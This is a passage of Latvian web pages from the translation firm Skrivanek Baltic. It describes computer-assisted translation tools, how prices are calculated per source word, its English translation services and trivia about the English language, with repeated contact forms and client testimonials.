kandidāta svešvalodas prasmes. Testa rakstiskajā daļā ir iekļauta gramatikas, vārdu krājuma un izlasītā teksta izpratnes pārbaude. FOCUS rīkā tiek testēta arī runa un rakstītprasme, kas nodrošina vispusīgu un precīzu svešvalodu zināšanu gala vērtējumu. Šis rīks ir neatsverams palīgs personāla atlasē! Mācību centrs Skrivanek piedāvā pārbaudīt savas angļu un vācu valodas zināšanas bez maksas. Valodu testi pieejami: valodumacibas. lv EFFECTO ir patentēta valodu mācību metode, kas izstrādāta Skrivanek valodu skolām visā pasaulē. Šī metode ir īpaša, jo ievērojami palielina valodu apguves efektivitāti. Plašāka informācija par šo metodi ir pieejama: valodumacibas. lv TIRGŪ JAU VAIRĀK NEKĀ 25 GADUS! Mums ir plaša pieredze tekstu tulkošanā par dažādām tēmām. 0+ Valodu dažādās kombinācijās 0+ milj. Iztulkotu vārdu 2023. gadā 0+ Valodu speciālistu 0 ISO sertifikāti --- > Tulkošanas rīki (CAT) ir īpašas tulkotājiem izstrādātas programmas kvalitātes un produktivitātes veicināšanai. Uzziniet kādas ir to priekšrocības! - Published: 2017-09-29 - Modified: 2025-07-07 - URL: https://skrivanek.lv/pakalpojumi/tulkosanas-riki/ - Translation Priorities: Optional KAS IR TULKOŠANAS RĪKI (CAT) Lai gan datori kļūst aizvien jaudīgāki, tie tulkošanas procesā nevar sacensties ar cilvēku. Tomēr datori un to programmatūras ir neatņemama tulkotāju ikdienas darba daļa. Ar tulkošanas rīkiem (CAT) tulkojuma veikšanai nepieciešamais laiks ir kļuvis īsāks. Tāpat modernie rīki nodrošina arī terminoloģijas konsekventu lietojumu, palīdz ietaupīt izmaksas un sniedz citas priekšrocības. Tulkošanas rīku izmantošana kļūst aizvien pieprasītāka un dažās nozarēs ir pat obligāts priekšnosacījums, jo to efektivitāti ir novērtējuši gan tulkotāji, gan arī mūsu klienti. Tulkošanas rīki ir īpašas tulkotājiem izstrādātas programmas, kurās netiek veikta datorizēta jeb automatizēta tulkošana, bet programmatūra palīdz speciālistam tulkošanas procesā. Ar šiem rīkiem iespējams uzglabāt visus iepriekš tulkotos tekstus, šādi nodrošinot, ka divi vienādi teikumi nekad nebūs jātulko vairāk par vienu reizi. CAT rīkus var izmantot lielākajā daļā tulkošanas projektu. Tulkošanas rīki: palīdz uzkrāt precīzu un klienta apstiprinātu terminoloģiju katram pasūtītājam vai projektam; nodrošina atkārtojumu uzkrāšanu, piedāvājot klientiem aizvien kvalitatīvākus tulkojumus; ļauj ietaupīt tulkošanas laiku un izmaksas. Tomēr ir arī gadījumi, kad CAT rīkus nav iespējams izmantot, piemēram: ja teksts ir rokrakstā; ja tulkošanas atmiņas programma nav savietojama ar klienta atsūtīto teksta faila formātu; ja tulkojamais dokuments ir vāji salasāms (piemēram – skenētie faili PDF formātā). Izmantojot CAT rīkus, tulkojuma izmaksas aprēķina, pamatojoties uz dokumenta analīzi. Tās rezultātā tiek noteikti atkārtojumi tekstā, kā arī pilnīgas vai daļējas sakritības ar jau pastāvošo, uzkrāto tulkošanas atmiņu. Būtiski, ka šīs sakritības tiek meklētas nevis atsevišķu vārdu, bet gan teikumu līmenī, respektīvi, viss dokuments tiek analizēts pa teikumam un salīdzināts ar citiem šā dokumenta, kā arī ar tulkošanas atmiņā iepriekš uzkrātajiem teikumiem. Izklausās sarežģīti? Atsūtiet mums tekstu ar lūgumu veikt analīzi kādā no CAT rīkiem, un projektu vadītājs ar prieku nosūtīs jums analīzi un atbildēs uz jautājumiem. Būsim pagodināti tikties arī klātienē, lai kopā izvēlētos jums piemērotāko CAT rīku. Atkārtojumi ir teikumi, kas vienā dokumentā atkārtojas divas vai vairāk reizes. Šo teikumu iztulkojot vienu reizi, nav nepieciešams to tulkot atkārtoti. Pieredze liecina, ka šādu teikumu visvairāk ir lietotāja rokasgrāmatās, juridiskajos dokumentos, gada pārskatos, līgumos, zāļu aprakstos un citos tipveida tekstos. Papildus atkārtojumiem tiek analizētas arī dažādas sakritības. Tulkošanas atmiņas programmas var vienkāršot darbu ar teju jebkuras nozares tekstiem, jo īpaši, ja klientam zināms, ka šīs vai līdzīgas tematikas darbi būs jātulko arī turpmāk. Visbiežāk tulkošanas atmiņas programmas izmanto darbā ar tipveida juridiskajiem, finanšu tekstiem (gada pārskatiem), gan ar tehniskajiem tekstiem (tehniskiem aprakstiem, instrukcijām, lietotāja rokasgrāmatām) un zāļu dokumentāciju. Tāpat CAT rīki ir efektīvi dažādu tīmekļa vietņu tekstu tulkošanā, jo tie ļoti labi sader ar XML, HTML un citiem tīmekļa platformu formātiem. Tulkošanai ar CAT rīkiem ir piemēroti arī MS Office faili, kā arī vienkārši teksta faili (*. txt). Tulkošanai ar CAT rīkiem parasti nav piemēroti PDF dokumenti, tomēr tos var īpaši apstrādāt un sagatavot darbam ar šiem rīkiem. Automātiskās tulkošanas programmas ir izstrādātas, lai pēc iespējas ātrāk saprastu tulkojamā vārda, teikuma vai frāzes nozīmi, ko lietotājs noskaidro, ierakstot tekstu programmas logā. Vispopulārākās automātiskās tulkošanas programmas, ko dēvē arī par mašīntulkošanas programmām, ir: Google Translate, Bing Translator, Pragma, Promt u. c. Mašīntulkošana ļoti strauji attīstījusies pēdējo gadu laikā, taču šobrīd tā vēl nespēj pilnībā aizvietot cilvēku veikto darbu. Tomēr mašīntulkošanai ir nākotne atsevišķās nozarēs, ko nenoliedz arī tulkošanas rīku (CAT) izstrādāji, kas paredz programmām pieslēgt mašīntulkošanas funkciju. Šobrīd gan mašīntulkošana nespēj nodrošināt augstas kvalitātes tulkojumu pilnībā bez cilvēka palīdzības, tāpēc joprojām kvalitatīvus tulkojumus iespējams saņemt tikai no profesionāliem tulkotājiem, kas komandā ar korektoriem un citiem speciālistiem strādā profesionālos valodu uzņēmumos. Izmantoto un populāro datņu formātu skaits pasaulē arvien pieaug un mainās. Mēs strādājam ar daudz un dažādu formātu dokumentiem, piemēram, tīmekļa platformu failiem (XTM, HTML u. c. ), MS Office failiem (PPT, PPTM, PPTX, DOC, DOCX, DOT, XLS, XLSM u. c. ), Adobe lietojumprogrammas failiem (MIF, INX, PDD, PSD u. c. ), kā arī ar daudziem citiem formātiem. Plašāks saraksts ar datņu failiem, kurus ikdienā tulkojam aplūkojams šeit. KĀDAS CAT PROGRAMMAS IZMANTOJAM? Mēs izmantojam šobrīd pasaulē modernākās un populārākās programmas. Memsource; SDL Trados; Across; Transit NXT; Wordfast Pro; MemoQ; Crowdin; u. c. NEPIECIEŠAMS TULKOJUMS? MEKLĒJIET VALODU RISINĀJUMU VAI NEPIECIEŠAMA KONSULTĀCIJA? Sagatavosim jums piedāvājumu un nodrošināsim konsultāciju. Sazināties NEPIECIEŠAMS TULKOJUMS? MEKLĒJIET VALODU RISINĀJUMU VAI NEPIECIEŠAMA KONSULTĀCIJA? Sagatavosim jums piedāvājumu un nodrošināsim konsultāciju. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TIRGŪ JAU VAIRĀK NEKĀ 25 GADUS! Mums ir plaša pieredze tekstu tulkošanā par dažādām tēmām. 0+ Valodu dažādās kombinācijās 0+ milj. Pārtulkotu vārdu 2023. gadā 0+ Valodu speciālistu 0 ISO sertifikāti KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Tulkošanas cena tiek aprēķināta, pamatojoties uz vārdu skaitu dokumentā. Bezmaksas cenas aprēķins 15 minūtēs! Sazinieties ar mums! 👆️ - Published: 2017-09-29 - Modified: 2025-06-03 - URL: https://skrivanek.lv/pakalpojumi/tulkosanas-cenas/ - Translation Priorities: Optional TULKOŠANAS CENAS Tulkojuma cena mūsu uzņēmumā tiek aprēķināta, pamatojoties uz vārdu skaitu dokumentā avota valodā (oriģinālā). Cenu par katru konkrēto projektu nosakām iepriekš, kā arī vienosimies par abpusēji izdevīgu izpildes termiņu. Populārākajām valodu kombinācijām (latviešu, krievu, vācu un angļu valoda) rakstiskās tulkošanas pakalpojumiem cenā jau ir iekļauta dzimtās valodas runātāja veikta korektūra. Rakstiskās un mutiskās tulkošanas pakalpojumu cenu ietekmē pasūtījuma izpildes termiņi. Steidzamu pasūtījumu gadījumā jārēķinās ar lielākām projekta izmaksām, par kurām jūs nekavējoties informēs mūsu projektu vadītāji. Rakstisko un mutisko tulkojumu cenu neietekmē attiecīgās nozares specifika vai sarežģītības pakāpe! Priecāsimies uzzināt par jums nepieciešamo projektu – pēc jūsu pieprasījuma izsūtīšanas nekavējoties veiksim un nosūtīsim mūsu izmaksu aprēķinu un izpildes termiņu! Vairāk par svešvalodu kursiem lūdzam skatīt www. valodumacibas. lv. Korporatīvajiem klientiem, kuri veic tulkojumu pasūtījumus, piedāvājam 5% atlaidi uzņēmuma darbinieku valodu mācībām! Par citām atlaidēm, kā arī iespēju slēgt konfidencialitātes vienošanās vai sadarbības līgumu jūs informēs mūsu projektu vadītāji! TULKOŠANAS CENAS APRĒĶINS Cenu aprēķina vienība ir vārdu skaits avota valodā. Dokumentiem, kas pieejami elektroniskā formātā, var noteikt precīzu vārdu skaitu ar programmas „Wordcount” palīdzību (Tools/Wordcount/Words). Rakstisko tulkojumu cenas aprēķina formula: tulkojuma cena par vārdu x vārdu skaits avota valodā = tulkošanas cena par pasūtījumu (bez PVN). Iepriekš minētais cenu aprēķins neattiecas uz tulkojumiem, kas ir paredzēti notāra apliecinājumam. SAMAKSAS KĀRTĪBA Juridiskām personām piedāvājam slēgt sadarbības līgumu, kurā varam paredzēt šādus samaksas nosacījumus: mūsu uzņēmumā klients, veicot pasūtījumu pirmo reizi, pasūtījumu saņem tikai pēc rēķina samaksas; pēcapmaksa ar rēķinu pēc katra projekta (parasti iesakām izmantot apjomīgu projektu gadījumā); pēcapmaksa ar rēķinu par periodu (parasti iesakām klientiem, kuriem ir liels skaits apjomā nelielu pasūtījumu); pēcapmaksa ar rēķinu vienu reizi mēnesī. Korporatīvajiem klientiem un privātpersonām piedāvājam veikt rēķinu samaksu ar norēķinu kartēm, skaidrā naudā mūsu birojā, „PayPal” maksājumu vai samaksu ar bankas pārskaitījumu. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu NEPIECIEŠAMS TULKOJUMS? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai jau tūlīt! KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Dažādu dokumentu tulkojumi un mutiskie tulkojumi angļu valodā, kā arī angļu valodas kursi. Saņemiet cenas aprēķinu bez maksas 30 minūtēs! - Published: 2017-09-29 - Modified: 2025-07-21 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-anglu-valoda/ - Translation Priorities: Optional TULKOJUMI ANGĻU VALODĀ / TULKOT ANGĻU VALODĀ CIK MAKSĀ TULKOŠANA ANGĻU VALODĀ? Tulkojumu cena no un uz angļu valodu tiek aprēķināta katram pasūtījumam individuāli. Cenas aprēķinā vērā tiek ņemti dažādi tieši jūsu pasūtījumam raksturīgi parametri, piemēram, secīgo mutisko un sinhrono tulkojumu cenu veido pakalpojuma sniegšanas laiks, pasākuma norises vieta, ceļošanas izdevumi, dienas nauda. Sinhronajā tulkošanā papildus tiek rēķināti izdevumi par tehnisko nodrošinājumu atkarībā no pasākuma dalībnieku skaita utt. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms un lasāmība, tulkojuma izpildes termiņi, terminoloģijas sarežģītība, atkārtojumi tekstā, attēlu un grafiku sarežģītība un formatēšana, koriģēšana, kā arī citi klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Protams, gan rakstisko, gan mutisko (sinhrono un secīgo) tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz angļu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Katru reizi Skrivanek Baltic tulkošanas biroja projektu vadītāji sagatavo sīku informāciju par tulkojuma cenu pirms katra tulkošanas projekta uzsākšanas. Cenas piedāvājums tiek sagatavots 30 minūšu laikā. Rakstiskajiem darbiem, nosakot cenu, tiek ņemts vērā vārdu skaits avota tekstā, atkārtojumi tajā, grafisko elementu sarežģītība un citi parametri. Lai jūs saņemtu cenas piedāvājumu, gaidīsim tulkojamo materiālu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM ANGĻU VALODĀ: dažādu dokumentu tulkošana angļu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; angļu valodas tekstu korektūra; DTP – grafiskā dizaina pakalpojumi; tekstu adaptācija un radošo tekstu sagatavošana; mutiskie tulkojumi angļu valodā; individuālie un grupu angļu valodas kursi; bērnu vasaras nometnes ar angļu valodas nodarbībām. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus angļu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI ANGĻU VALODĀ / TULKOT ANGĻU VALODĀ CIK MAKSĀ TULKOŠANA ANGĻU VALODĀ? Tulkojumu cena no un uz angļu valodu tiek aprēķināta katram pasūtījumam individuāli. Cenas aprēķinā vērā tiek ņemti dažādi tieši jūsu pasūtījumam raksturīgi parametri, piemēram, secīgo mutisko un sinhrono tulkojumu cenu veido pakalpojuma sniegšanas laiks, pasākuma norises vieta, ceļošanas izdevumi, dienas nauda. Sinhronajā tulkošanā papildus tiek rēķināti izdevumi par tehnisko nodrošinājumu atkarībā no pasākuma dalībnieku skaita utt. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms un lasāmība, tulkojuma izpildes termiņi, terminoloģijas sarežģītība, atkārtojumi tekstā, attēlu un grafiku sarežģītība un formatēšana, koriģēšana, kā arī citi klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Protams, gan rakstisko, gan mutisko (sinhrono un secīgo) tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz angļu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Katru reizi Skrivanek Baltic tulkošanas biroja projektu vadītāji sagatavo sīku informāciju par tulkojuma cenu pirms katra tulkošanas projekta uzsākšanas. Cenas piedāvājums tiek sagatavots 30 minūšu laikā. Rakstiskajiem darbiem, nosakot cenu, tiek ņemts vērā vārdu skaits avota tekstā, atkārtojumi tajā, grafisko elementu sarežģītība un citi parametri. Lai jūs saņemtu cenas piedāvājumu, gaidīsim tulkojamo materiālu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM ANGĻU VALODĀ: dažādu dokumentu tulkošana angļu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; angļu valodas tekstu korektūra; DTP – grafiskā dizaina pakalpojumi; tekstu adaptācija un radošo tekstu sagatavošana; mutiskie tulkojumi angļu valodā; individuālie un grupu angļu valodas kursi; bērnu vasaras nometnes ar angļu valodas nodarbībām. Meklējiet valodu risinājumus angļu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt INTERESANTI FAKTI PAR ANGĻU VALODU Mūsdienu angļu valodas pirmsākumi meklējami mūsu ēras 7. gadsimtā, kad Lielbritānijas salā ieradās trīs ģermāņu ciltis – angli, sakši un jiti, kas 7. –8. gadsimtā, sajaucoties ar vietējo Britu salas iedzīvotāju – ķeltu, piktu un skotu kopienām – kopā izveidoja anglosakšu ciltis. Angļu valoda vēsturiski iedalāma trijos periodos: senangļu jeb angloakšu valoda (8. –11. gs. ) vidusangļu valoda (12. –16. gs. ) jaunangļu valoda (no 16. gs. vidus līdz mūsu dienām). Angļu valoda ir indoeiropiešu valodu saimes rietumģermāņu valoda. Pasaulē ir vairāki angļu valodas veidi, kam ir atšķirības gan izrunā, gan leksikā, gan gramatikā: amerikāņu angļu valoda, Austrālijas angļu valoda, britu angļu valoda, Kanādas angļu valoda u. c. Katram angļu valodas veidam ir vairāki dialekti. Piemēram, galvenie britu angļu valodas dialekti ir Dienvidanglijas dialekts, Vidusanglijas dialekts, Ziemeļanglijas dialekts, kā arī īru dialekts, Skotijas dialekts, Velsas dialekts u. c. Nenoliedzami angļu valoda ir pasaulē populārākā valoda. Tās senā vēsture, bagātais vārdu krājums, literatūra, universitātes ir tikai daži iemesli, kas angļu valodu padara tik īpašu. Un ir arī daudzi fakti, kas padara šo valodu par interesantu, savdabīgu, angļu kultūras un tradīciju atspoguļotāju. Daži no tiem mums liek pat pasmaidīt un liekas savdabīgi. Taču pat visdīvainākais fakts, kas saistīts ar šo skaisto valdu, būs ar ļoti karalisku akcentu! Īsākais gramatiski pareizais teikums angļu valodā ir “Go! ” Vārda butterfly (taurenis) oriģinālvārds bija vārds flutterby. Katru gadu angļu valodas vārdnīcai tiek pievienoti aptuveni 4000 jaunu vārdu. Visbiežāk lietotie vārdi angļu valodā ir “I” (es) un “you” (Tu). Angļu valoda tiek dēvēta par laimīgāko valodu pasaulē, jo vārds “happy” tiek lietots trīs reizes biežāk nekā vārds “sad”. Angļu valoda ir vienīgā no populārajām valodām, kuru nenormē neviena no valsts valodas institūcijām. Vairāk nekā 80% no visas tīmeklī glabātās un pieejamās informācijas ir angļu valodā. Vārds “lol” tika ierakstīts Oksfordas vārdnīcā 2011. gadā. Savulaik Ķīnā bija aizliegta Luisa Kerola grāmata “Alise Brīnumzemē”, jo Ķīnas valdība uzskatīja, ka dzīvniekiem nevajadzētu dot tiesības runāt cilvēku valodā, tādējādi akcentējot to, ka dzīvnieki un cilvēki var būt vienlīdzīgi. Čārlzs Dikenss bija ļoti māņticīgs – viņš uzskatīja, ka gulēšana ar skatu uz ziemeļiem uzlabos viņa talantīgumu. Viņš vienmēr līdzi nēsāja kompasu, lai pārliecinātos, ka guļ pareizajā virzienā. Sākotnēji visās Šekspīra lugās bija atļauts spēlēt tikai aktieriem – vīriešiem. Anglijā tajā laikā sievietēm uz skatuves kāpt bija aizliegts. Viena no visdārgākajām grāmatām angļu valodā, kuru par “nieka” 30 miljoniem ASV dolāru iegādājās Bils Geits, ir Leonardo Da Viči “Lesteras kodekss” ANGĻU VALODAS ALFABĒTS Kopš 9. gadsimta angļu valodas pierakstam tiek lietots latīņu alfabēts, pirms tam tika lietotas anglosakšu rūnas. Alfabēts sastāv no 26 burtiem, katram burtam ir gan lielais, gan mazais burts. Tā ir viena no retajām valodām, kuras pierakstā mūsdienās netiek lietotas diakritiskās zīmes. Visvairāk lietotais burts angļu valodā ir e. Visretāk lietotais burts ir z. Apostrofs, kuru lieto angļu valodā, netiek izmantots kā diakritiskā zīme un tas nav iekļauts angļu valodas alfabētā. Valodas pierakstā tas tiek lietots diviem svarīgiem mērķiem – lai apzīmētu piederības formu vienskaitļa vai daudzskaitļa lietvārdiem un personu vietniekvārdiem, kā arī divu vārdu savienojumos. CIK SAREŽĢĪTA IR ANGĻU VALODA? Angļu valoda ir ārkārtīgi grūti apgūstama valoda. Valodai ir sarežģīta gramatika, pareizrakstība un izruna, kas mulsina pat tos, kam tā ir dzimtā valoda. Angļu valoda ir pilna idiomām un metaforām. Piemēram, frāze – “she kicked the bucket” burtiski tiktu tulkota kā viņa iespēra pa spaini, bet sarunvalodā nozīme ir pavisam cita – viņa nomira. Šādu piemēru varētu būt tūkstošiem un reizēm tie pat ir rēbuss angļu valodas kā dzimtās valodas lietotājiem, kur nu vēl tiem, kas valodu apgūst kā svešvalodu. Angļu valodā ir vārdi, kuru izcelsme šķiet neloģiska, reizēm pat smieklīga, piemēram pineapple – ananass. Tiešā tulkojumā šis vārds sastāv no diviem vārdiem – priede un ābols. Bet kā no tā ir radies ananass? Sarežģīta ir arī vārdu izruna, kas lielākoties neatbilst rakstītajam. Patskaņu kombinācijas vai patskaņi, atkarībā no novietojuma vārdā, tiek izrunāti dažādi. Angļu valodā ir arī daudz homonīmu. Cilvēki, kuriem angļu valoda ir dzimtā valoda, parasti zina, kas ar attiecīgo vārdu tiek pateikts, bet valodas 